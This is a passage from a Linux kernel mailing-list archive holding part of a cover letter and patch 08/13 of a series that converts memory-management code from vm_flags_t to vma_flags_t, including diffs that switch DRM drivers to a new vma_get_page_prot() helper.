 Michal Hocko <mhocko@suse.com>, 
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>, 
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>, 
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>, 
 Hugh Dickins <hughd@google.com>, 
 Baolin Wang <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>, 
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>, 
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>, 
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>, 
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>, 
 Madhavan Srinivasan <maddy@linux.ibm.com>, 
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>, 
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>, 
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
 Lucas Stach <l.stach@pengutronix.de>, 
 Russell King <linux+etnaviv@armlinux.org.uk>, 
 Christian Gmeiner <christian.gmeiner@gmail.com>, 
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>, 
 Kyungmin Park <kyungmin.park@samsung.com>, 
 Krzysztof Kozlowski <krzk@kernel.org>, 
 Peter Griffin <peter.griffin@linaro.org>, 
 Alim Akhtar <alim.akhtar@samsung.com>, 
 Jani Nikula <jani.nikula@linux.intel.com>, 
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
 Rodrigo Vivi <rodrigo.vivi@intel.com>, 
 Tvrtko Ursulin <tursulin@ursulin.net>, 
 Rob Clark <robin.clark@oss.qualcomm.com>, 
 Dmitry Baryshkov <lumag@kernel.org>, 
 Abhinav Kumar <abhinav.kumar@linux.dev>, 
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, 
 Marijn Suijten <marijn.suijten@somainline.org>, 
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, 
 Sandy Huang <hjc@rock-chips.com>, 
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>, 
 Andy Yan <andy.yan@rock-chips.com>, 
 Thierry Reding <thierry.reding@kernel.org>, 
 Mikko Perttunen <mperttunen@nvidia.com>, 
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
 Dmitry Osipenko <dmitry.osipenko@collabora.com>, 
 Gurchetan Singh <gurchetansingh@chromium.org>, 
 Chia-I Wu <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>, 
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
 Matthew Brost <matthew.brost@intel.com>, 
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>, 
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, 
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>, 
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>, 
 Boris Brezillon <boris.brezillon@collabora.com>, 
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: Lorenzo Stoakes <ljs@kernel.org>, linux-mm@kvack.org, 
 linux-kernel@vger.kernel.org, linux-mips@vger.kernel.org, 
 linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, 
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, 
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org, 
 Jani Nikula <jani.nikula@intel.com>
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=openpgp-sha256; l=9041; i=ljs@kernel.org;
 h=from:subject:message-id; bh=LqsBGIOBz5PhtEm4kn0sretpylkcze+o2dhAS4zKBkg=;
 b=owGbwMvMwCV2fu7ZrsZH9SKMp9WSGLKC+i02/1R97n5LZdUBvaNhKqyiTOKbuqcr+39vmCDrN
 C/ldFJnRykLgxgXg6yYIsvzL+L7g0TC5nVe8HeDmcPKBDKEgYtTACYy7TDDP8WyBX46r8L/TZLs
 cZaTWbaR54Fcv03k49BlKk/5xW3LKhkZ3pq+mhJ2N67ur3lDuMiZzJwFGnk8BsunfPLc6v+h6dI
 LDgA=
X-Developer-Key: i=ljs@kernel.org; a=openpgp;
 fpr=E7F417BF5214569E89D04F46CF9DCD8A81E27F14
X-purgate-ID: tlsNG-d62444/1783795545-3C4E30A8-A1819E4E/0/0
X-purgate-type: clean
X-purgate-size: 9043

This series makes further progress in converting usage of the deprecated
vm_flags_t type to its replacement, vma_flags_t.

It focuses on mm, though updates some users of mm APIs also.

It updates:

* The core do_mmap() code path for VMA mapping.
* Unmapped area logic.
* The usage of mm->def_vma_flags.
* VMA page protection bit logic.
* General usage of VMA flags in core mm code, mlock, mprotect, mremap.

REVIEWER/MERGER NOTE: This is dependent on [0], which must be merged before
this.

[0]:https://lore.kernel.org/linux-mm/20260710-b4-pre-scalable-cow-v2-0-2a5aa403d977@kernel.org/

Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
---
Changes in v2:
* Rebased on to mm-new that has the 33 patch rework dependency in it.
* Distributed tags, thanks everybody!
* Moved VMA_STACK_INCOMPLETE_SETUP and VMA_STACK_EARLY VMA userland test defines
  from 1/13 to 9/13 as per Zi.
* Fixed whitespace in 3/13 as per Zi.
* Updated 5/13 to use %*pb formatter for VMA flags (to match mm flags formatter)
  in dump_mm(), as per Lance.
* Updated 8/13 to update panthor_gem.c to vma_get_page_prot() as per Lance.
* Fixed up comment type in 11/13 as per Lance.
* Fixed bug of using VMA_GROWSUP_BIT rather than VMA_GROWSUP as per Lance
  in 12/13.
* Added detail about when we are and are not required to open code
  vma_write_lock() for VMA flag mutators in the commit message for 13/13 as
  per Lance and Zi.

v1:
https://patch.msgid.link/cover.1782760670.git.ljs@kernel.org

To: Andrew Morton <akpm@linux-foundation.org>
To: David Hildenbrand <david@kernel.org>
To: "Liam R. Howlett" <liam@infradead.org>
To: Vlastimil Babka <vbabka@kernel.org>
To: Mike Rapoport <rppt@kernel.org>
To: Suren Baghdasaryan <surenb@google.com>
To: Michal Hocko <mhocko@suse.com>
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: Benjamin LaHaise <bcrl@kvack.org>
To: Alexander Viro <viro@zeniv.linux.org.uk>
To: Christian Brauner <brauner@kernel.org>
To: Jan Kara <jack@suse.cz>
To: Hugh Dickins <hughd@google.com>
To: Baolin Wang <baolin.wang@linux.alibaba.com>
To: Jann Horn <jannh@google.com>
To: Pedro Falcato <pfalcato@suse.de>
To: Muchun Song <muchun.song@linux.dev>
To: Oscar Salvador <osalvador@suse.de>
To: Zi Yan <ziy@nvidia.com>
To: Nico Pache <npache@redhat.com>
To: Ryan Roberts <ryan.roberts@arm.com>
To: Dev Jain <dev.jain@arm.com>
To: Barry Song <baohua@kernel.org>
To: Lance Yang <lance.yang@linux.dev>
To: Usama Arif <usama.arif@linux.dev>
To: Madhavan Srinivasan <maddy@linux.ibm.com>
To: Michael Ellerman <mpe@ellerman.id.au>
To: Nicholas Piggin <npiggin@gmail.com>
To: "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>
To: Maarten Lankhorst <maarten.lankhorst@linux.intel.com>
To: Maxime Ripard <mripard@kernel.org>
To: Thomas Zimmermann <tzimmermann@suse.de>
To: David Airlie <airlied@gmail.com>
To: Simona Vetter <simona@ffwll.ch>
To: Lucas Stach <l.stach@pengutronix.de>
To: Russell King <linux+etnaviv@armlinux.org.uk>
To: Christian Gmeiner <christian.gmeiner@gmail.com>
To: Inki Dae <inki.dae@samsung.com>
To: Seung-Woo Kim <sw0312.kim@samsung.com>
To: Kyungmin Park <kyungmin.park@samsung.com>
To: Krzysztof Kozlowski <krzk@kernel.org>
To: Peter Griffin <peter.griffin@linaro.org>
To: Alim Akhtar <alim.akhtar@samsung.com>
To: Jani Nikula <jani.nikula@linux.intel.com>
To: Joonas Lahtinen <joonas.lahtinen@linux.intel.com>
To: Rodrigo Vivi <rodrigo.vivi@intel.com>
To: Tvrtko Ursulin <tursulin@ursulin.net>
To: Rob Clark <robin.clark@oss.qualcomm.com>
To: Dmitry Baryshkov <lumag@kernel.org>
To: Abhinav Kumar <abhinav.kumar@linux.dev>
To: Jessica Zhang <jesszhan0024@gmail.com>
To: Sean Paul <sean@poorly.run>
To: Marijn Suijten <marijn.suijten@somainline.org>
To: Lyude Paul <lyude@redhat.com>
To: Danilo Krummrich <dakr@kernel.org>
To: Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>
To: Sandy Huang <hjc@rock-chips.com>
To: Heiko StÃ¼bner <heiko@sntech.de>
To: Andy Yan <andy.yan@rock-chips.com>
To: Thierry Reding <thierry.reding@kernel.org>
To: Mikko Perttunen <mperttunen@nvidia.com>
To: Jonathan Hunter <jonathanh@nvidia.com>
To: Gerd Hoffmann <kraxel@redhat.com>
To: Dmitry Osipenko <dmitry.osipenko@collabora.com>
To: Gurchetan Singh <gurchetansingh@chromium.org>
To: Chia-I Wu <olvaffe@gmail.com>
To: Zack Rusin <zack.rusin@broadcom.com>
To: Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>
To: Matthew Brost <matthew.brost@intel.com>
To: Thomas HellstrÃ¶m <thomas.hellstrom@linux.intel.com>
To: Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
To: Helge Deller <deller@gmx.de>
To: Kees Cook <kees@kernel.org>
To: Jaroslav Kysela <perex@perex.cz>
To: Takashi Iwai <tiwai@suse.com>
To: Boris Brezillon <boris.brezillon@collabora.com>
To: Steven Price <steven.price@arm.com>
To: Liviu Dudau <liviu.dudau@arm.com>
Cc: ljs@kernel.org
Cc: linux-mm@kvack.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@vger.kernel.org
Cc: linux-aio@kvack.org
Cc: linux-fsdevel@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: dri-devel@lists.freedesktop.org
Cc: etnaviv@lists.freedesktop.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-samsung-soc@vger.kernel.org
Cc: intel-gfx@lists.freedesktop.org
Cc: linux-arm-msm@vger.kernel.org
Cc: freedreno@lists.freedesktop.org
Cc: nouveau@lists.freedesktop.org
Cc: linux-rockchip@lists.infradead.org
Cc: linux-tegra@vger.kernel.org
Cc: virtualization@lists.linux.dev
Cc: intel-xe@lists.freedesktop.org
Cc: xen-devel@lists.xenproject.org
Cc: linux-fbdev@vger.kernel.org
Cc: linux-sound@vger.kernel.org

---
Lorenzo Stoakes (13):
      mm: introduce vma_flags_can_grow() and vma_can_grow()
      mm/vma: update do_mmap() to use vma_flags_t
      mm: convert __get_unmapped_area() to use vma_flags_t
      mm: update generic_get_unmapped_area[_topdown]() to use vma_flags_t
      mm: prefer mm->def_vma_flags in mm logic
      mm/vma: convert vm_pgprot_modify() to use vma_flags_t and rename
      mm/vma: rename vma_get_page_prot to vma_flags_to_page_prot
      mm: introduce vma_get_page_prot() and use it
      mm/vma: update create_init_stack_vma() to use vma_flags_t
      mm/vma: convert miscellaneous uses of VMA flags in core mm
      mm/mlock: convert mlock code to use vma_flags_t
      mm/mprotect: convert mprotect code to use vma_flags_t
      mm/mremap: convert mremap code to use vma_flags_t

 arch/mips/kernel/vdso.c                     |   4 +-
 arch/powerpc/mm/book3s64/slice.c            |   6 +-
 drivers/gpu/drm/drm_gem.c                   |   2 +-
 drivers/gpu/drm/drm_gem_dma_helper.c        |   2 +-
 drivers/gpu/drm/drm_gem_shmem_helper.c      |   2 +-
 drivers/gpu/drm/etnaviv/etnaviv_gem.c       |   2 +-
 drivers/gpu/drm/exynos/exynos_drm_gem.c     |   6 +-
 drivers/gpu/drm/i915/gem/i915_gem_mman.c    |  12 +-
 drivers/gpu/drm/msm/msm_gem.c               |   2 +-
 drivers/gpu/drm/nouveau/nouveau_gem.c       |   2 +-
 drivers/gpu/drm/omapdrm/omap_fbdev.c        |   2 +-
 drivers/gpu/drm/omapdrm/omap_gem.c          |   6 +-
 drivers/gpu/drm/panthor/panthor_gem.c       |   2 +-
 drivers/gpu/drm/rockchip/rockchip_drm_gem.c |   2 +-
 drivers/gpu/drm/tegra/gem.c                 |   2 +-
 drivers/gpu/drm/virtio/virtgpu_vram.c       |   2 +-
 drivers/gpu/drm/vmwgfx/vmwgfx_page_dirty.c  |   2 +-
 drivers/gpu/drm/xe/xe_device.c              |   2 +-
 drivers/gpu/drm/xe/xe_mmio_gem.c            |   2 +-
 drivers/gpu/drm/xen/xen_drm_front_gem.c     |   2 +-
 drivers/video/fbdev/core/fb_io_fops.c       |   2 +-
 fs/aio.c                                    |   2 +-
 fs/hugetlbfs/inode.c                        |   3 +-
 include/linux/huge_mm.h                     |  10 +-
 include/linux/memfd.h                       |   6 +-
 include/linux/mm.h                          |  52 +++++++--
 include/linux/sched/mm.h                    |  13 +--
 ipc/shm.c                                   |   3 +-
 mm/debug.c                                  |   5 +-
 mm/huge_memory.c                            |  21 ++--
 mm/memfd.c                                  |  15 +--
 mm/mlock.c                                  |  99 +++++++++--------
 mm/mmap.c                                   | 164 +++++++++++++++-------------
 mm/mprotect.c                               |  16 +--
 mm/mremap.c                                 |  38 ++++---
 mm/nommu.c                                  |   3 +-
 mm/util.c                                   |  10 +-
 mm/vma.c                                    |  26 +++--
 mm/vma.h                                    |   8 +-
 mm/vma_exec.c                               |  20 ++--
 sound/core/memalloc.c                       |   2 +-
 tools/testing/vma/include/dup.h             |  23 ++--
 42 files changed, 341 insertions(+), 264 deletions(-)
---
base-commit: 61cccb8363fcc282d4ae0555b8739dd227f5ad0b
change-id: 20260711-b4-vma-flags-mm-bd05385df9fc

Cheers,
-- 
Lorenzo Stoakes <ljs@kernel.org>



From xen-devel-bounces@lists.xenproject.org Sun Jul 12 05:29:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 05:29:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360578.1613476 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkJ-0008RZ-9s; Sun, 12 Jul 2026 05:28:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360578.1613476; Sun, 12 Jul 2026 05:28:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkI-0008PI-SX; Sun, 12 Jul 2026 05:28:54 +0000
Received: by outflank-mailman (input) for mailman id 1360578;
 Sat, 11 Jul 2026 18:48:33 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wicka-0005Z3-TW
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:48:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wicka-009NtX-AY
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 20:48:32 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a528ffb-e002-0a2a0a5209dd-0a2a450ce6cc-2
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:48:32 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a528ffe-e897-0a2a450c0019-aceafc1f91b2-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:48:32 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 373CB40C0F;
 Sat, 11 Jul 2026 18:48:30 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 79B621F000E9;
 Sat, 11 Jul 2026 18:48:09 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="From:Date:Subject:References:In-Reply-To:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783795710;
	bh=UEx0tri9WMXr89Y9RByToAehzQgA+sg4lm/OABcyvPE=;
	h=From:Date:Subject:References:In-Reply-To:To:Cc;
	b=dnYjakH2WVgloYsi+jUVcGCbG7rxAi1pU7tW8mJIdE6oGfNmgRxm2lkIJstr9dGEo
	 6yD5lskj/PN2+ryoD6/tOuGL1WoVvqTEa+DQVmAAvZqEHLCXGsLyJtTJxnjYp6B0jW
	 IikPIZ8C2ZhZCERTy9H5QIwhvGWNfcZweBb/3HZFkj7VpVTdh9ZXyXl3h0NJCB2UP6
	 VTOCtSLAT14FoCzGfIDvGLs0HNrc8xonL8yng0qw3GHGb3q0KQANrkQ97QPAj9qDm0
	 aeZGjHzcaeB9LVkTFMgUFwXpKrKBCZP9HwBxFCWMkNkn+771AZux5Cs12n8q83blNL
	 rDY+8EcDEdTQA==
From: Lorenzo Stoakes <ljs@kernel.org>
Date: Sat, 11 Jul 2026 19:45:05 +0100
Subject: [PATCH v2 08/13] mm: introduce vma_get_page_prot() and use it
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260711-b4-vma-flags-mm-v2-8-0fa2357d5431@kernel.org>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
In-Reply-To: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>, 
 David Hildenbrand <david@kernel.org>, 
 "Liam R. Howlett" <liam@infradead.org>, Vlastimil Babka <vbabka@kernel.org>, 
 Mike Rapoport <rppt@kernel.org>, Suren Baghdasaryan <surenb@google.com>, 
 Michal Hocko <mhocko@suse.com>, 
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>, 
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>, 
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>, 
 Hugh Dickins <hughd@google.com>, 
 Baolin Wang <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>, 
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>, 
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>, 
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>, 
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>, 
 Madhavan Srinivasan <maddy@linux.ibm.com>, 
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>, 
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>, 
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
 Lucas Stach <l.stach@pengutronix.de>, 
 Russell King <linux+etnaviv@armlinux.org.uk>, 
 Christian Gmeiner <christian.gmeiner@gmail.com>, 
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>, 
 Kyungmin Park <kyungmin.park@samsung.com>, 
 Krzysztof Kozlowski <krzk@kernel.org>, 
 Peter Griffin <peter.griffin@linaro.org>, 
 Alim Akhtar <alim.akhtar@samsung.com>, 
 Jani Nikula <jani.nikula@linux.intel.com>, 
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
 Rodrigo Vivi <rodrigo.vivi@intel.com>, 
 Tvrtko Ursulin <tursulin@ursulin.net>, 
 Rob Clark <robin.clark@oss.qualcomm.com>, 
 Dmitry Baryshkov <lumag@kernel.org>, 
 Abhinav Kumar <abhinav.kumar@linux.dev>, 
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, 
 Marijn Suijten <marijn.suijten@somainline.org>, 
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, 
 Sandy Huang <hjc@rock-chips.com>, 
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>, 
 Andy Yan <andy.yan@rock-chips.com>, 
 Thierry Reding <thierry.reding@kernel.org>, 
 Mikko Perttunen <mperttunen@nvidia.com>, 
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
 Dmitry Osipenko <dmitry.osipenko@collabora.com>, 
 Gurchetan Singh <gurchetansingh@chromium.org>, 
 Chia-I Wu <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>, 
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
 Matthew Brost <matthew.brost@intel.com>, 
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>, 
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, 
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>, 
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>, 
 Boris Brezillon <boris.brezillon@collabora.com>, 
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: Lorenzo Stoakes <ljs@kernel.org>, linux-mm@kvack.org, 
 linux-kernel@vger.kernel.org, linux-mips@vger.kernel.org, 
 linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, 
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, 
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org, 
 Jani Nikula <jani.nikula@intel.com>
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=openpgp-sha256; l=18476; i=ljs@kernel.org;
 h=from:subject:message-id; bh=lULewHs+VHoBISysZgqCk8k0yrnFoPvsXucHfYLh71o=;
 b=owGbwMvMwCV2fu7ZrsZH9SKMp9WSGLKC+i05Zk3QOniRM/ZQ1U4x663nNk+b4BUnELFb7k3Lq
 eRdbCLfOkpZGMS4GGTFFFmefxHfHyQSNq/zgr8bzBxWJpAhDFycAjCRTmZGhjen+ya1iteoHZRV
 U99Tyb+6X/P57WDnNXZakZWdij3CUgz/6+fsOFPx37vK80cX38rkc48X77AuLJotGHc7dFv3rwQ
 HRgA=
X-Developer-Key: i=ljs@kernel.org; a=openpgp;
 fpr=E7F417BF5214569E89D04F46CF9DCD8A81E27F14
X-purgate-ID: tlsNG-d25034/1783795712-456F86B2-1FD7D53A/0/0
X-purgate-type: clean
X-purgate-size: 18478

There's a large number of vm_get_page_prot(vma->vm_flags) invocations. Make
life easier by introducing vma_get_page_prot() parameterised by the VMA.

This also makes converting vm_get_page_prot() to vma_flags_t easier.

Also update the userland VMA tests to reflect the change.

No functional change intended.

Acked-by: Zi Yan <ziy@nvidia.com>
Acked-by: Jani Nikula <jani.nikula@intel.com> # for i915
Reviewed-by: Thomas Zimmermann <tzimmermann@suse.de> # for DRM
Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
---
 drivers/gpu/drm/drm_gem.c                   |  2 +-
 drivers/gpu/drm/drm_gem_dma_helper.c        |  2 +-
 drivers/gpu/drm/drm_gem_shmem_helper.c      |  2 +-
 drivers/gpu/drm/etnaviv/etnaviv_gem.c       |  2 +-
 drivers/gpu/drm/exynos/exynos_drm_gem.c     |  6 +++---
 drivers/gpu/drm/i915/gem/i915_gem_mman.c    | 12 ++++++------
 drivers/gpu/drm/msm/msm_gem.c               |  2 +-
 drivers/gpu/drm/nouveau/nouveau_gem.c       |  2 +-
 drivers/gpu/drm/omapdrm/omap_fbdev.c        |  2 +-
 drivers/gpu/drm/omapdrm/omap_gem.c          |  6 +++---
 drivers/gpu/drm/panthor/panthor_gem.c       |  2 +-
 drivers/gpu/drm/rockchip/rockchip_drm_gem.c |  2 +-
 drivers/gpu/drm/tegra/gem.c                 |  2 +-
 drivers/gpu/drm/virtio/virtgpu_vram.c       |  2 +-
 drivers/gpu/drm/vmwgfx/vmwgfx_page_dirty.c  |  2 +-
 drivers/gpu/drm/xe/xe_device.c              |  2 +-
 drivers/gpu/drm/xe/xe_mmio_gem.c            |  2 +-
 drivers/gpu/drm/xen/xen_drm_front_gem.c     |  2 +-
 drivers/video/fbdev/core/fb_io_fops.c       |  2 +-
 include/linux/mm.h                          | 11 ++++++++++-
 mm/vma.c                                    |  2 +-
 mm/vma_exec.c                               |  2 +-
 sound/core/memalloc.c                       |  2 +-
 tools/testing/vma/include/dup.h             |  5 +++++
 24 files changed, 46 insertions(+), 32 deletions(-)

diff --git a/drivers/gpu/drm/drm_gem.c b/drivers/gpu/drm/drm_gem.c
index e3ed684ddcf2..32a05d889b9a 100644
--- a/drivers/gpu/drm/drm_gem.c
+++ b/drivers/gpu/drm/drm_gem.c
@@ -1252,7 +1252,7 @@ int drm_gem_mmap_obj(struct drm_gem_object *obj, unsigned long obj_size,
 		}
 
 		vm_flags_set(vma, VM_IO | VM_PFNMAP | VM_DONTEXPAND | VM_DONTDUMP);
-		vma->vm_page_prot = pgprot_writecombine(vm_get_page_prot(vma->vm_flags));
+		vma->vm_page_prot = pgprot_writecombine(vma_get_page_prot(vma));
 		vma->vm_page_prot = pgprot_decrypted(vma->vm_page_prot);
 	}
 
diff --git a/drivers/gpu/drm/drm_gem_dma_helper.c b/drivers/gpu/drm/drm_gem_dma_helper.c
index 1c00a71ab3c9..7d9612075d31 100644
--- a/drivers/gpu/drm/drm_gem_dma_helper.c
+++ b/drivers/gpu/drm/drm_gem_dma_helper.c
@@ -540,7 +540,7 @@ int drm_gem_dma_mmap(struct drm_gem_dma_object *dma_obj, struct vm_area_struct *
 	vm_flags_mod(vma, VM_DONTDUMP | VM_DONTEXPAND, VM_PFNMAP);
 
 	if (dma_obj->map_noncoherent) {
-		vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
+		vma->vm_page_prot = vma_get_page_prot(vma);
 
 		ret = dma_mmap_pages(drm_dev_dma_dev(dma_obj->base.dev),
 				     vma, vma->vm_end - vma->vm_start,
diff --git a/drivers/gpu/drm/drm_gem_shmem_helper.c b/drivers/gpu/drm/drm_gem_shmem_helper.c
index c989459eb215..06d019d51d3e 100644
--- a/drivers/gpu/drm/drm_gem_shmem_helper.c
+++ b/drivers/gpu/drm/drm_gem_shmem_helper.c
@@ -764,7 +764,7 @@ int drm_gem_shmem_mmap(struct drm_gem_shmem_object *shmem, struct vm_area_struct
 		return ret;
 
 	vm_flags_set(vma, VM_PFNMAP | VM_DONTEXPAND | VM_DONTDUMP);
-	vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
+	vma->vm_page_prot = vma_get_page_prot(vma);
 	if (shmem->map_wc)
 		vma->vm_page_prot = pgprot_writecombine(vma->vm_page_prot);
 
diff --git a/drivers/gpu/drm/etnaviv/etnaviv_gem.c b/drivers/gpu/drm/etnaviv/etnaviv_gem.c
index 2e4d6d117ee2..f9c8b7b2bfc7 100644
--- a/drivers/gpu/drm/etnaviv/etnaviv_gem.c
+++ b/drivers/gpu/drm/etnaviv/etnaviv_gem.c
@@ -133,7 +133,7 @@ static int etnaviv_gem_mmap_obj(struct etnaviv_gem_object *etnaviv_obj,
 
